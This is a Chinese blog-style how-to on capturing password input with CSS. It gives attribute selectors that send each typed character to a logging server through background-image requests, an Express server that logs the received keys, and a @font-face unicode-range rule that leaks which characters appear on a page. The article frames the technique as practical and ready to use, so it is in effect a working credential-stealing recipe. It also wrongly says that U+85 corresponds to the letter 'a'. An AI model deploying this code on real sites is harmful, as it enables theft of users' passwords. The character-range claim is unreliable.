这篇文章主要介绍“怎么使用CSS记录用户密码”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“怎么使用CSS记录用户密码”文章能帮助大家解决问题。
直接上代码解析:
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
以上是部分代码,我们来解析一下CSS代码
input[type="password"]
是css选择器,作用是选择密码输入框, [value$="0"]
表示匹配输入的值是以0结尾的。所以:
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
上面代码的意思就是如果你在密码框中输入0,就去请求http://localhost:3000/0接口,但是浏览器默认情况下是不会将用户输入的值存储在value属性中,但是有的框架会同步这些值,例如React。
我们再来看一下服务器端的代码:
const express = require("express");const app = express();app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400);});app.listen(3000, () => console.log("启动,监听3000端口"));
使用express创建服务器,监听3000端口,只要请求http://localhost:3000/:key,就能输出key的值,就能在服务器上记录输入的值。所以只要在每输入一个值都匹配,然后通过 background-image 去请求一个已经准备好的接口,就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {
font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85;}html { font-family: blah, sans-serif;}
你使用的的css的简单的字体库,只要你的页面中包含a,就会去请求http://localhost:3000/a,这样就能知道你的页面中包含有a字符。
关于“怎么使用CSS记录用户密码”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。